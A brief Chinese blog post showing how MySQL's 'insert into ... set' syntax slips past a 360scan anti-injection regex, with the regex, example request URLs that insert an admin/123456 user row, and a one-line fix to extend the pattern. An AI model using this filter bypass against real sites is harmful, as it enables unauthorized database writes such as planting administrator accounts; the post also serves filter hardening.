Mysql语法绕过360scan insert防注入方法
程序员文章站
2022-04-07 10:22:00
其实Mysql不只可以用insert into xxx values 插入数据,还可以:insert into xxx set xx =方法... 14-05-07...
360scan正则:insert\\s+into.+?values
其实mysql不只可以用insert into xxx values 插入数据,还可以:insert into xxx set xx =
提交:
http://localhost/360.php?sql=insert into user (user,pass) values ('admin','123456')提交set语法:
http://localhost/360.php?sql=insert into user set user='admin',pass='123456'
修复方法当然最好是加上set了。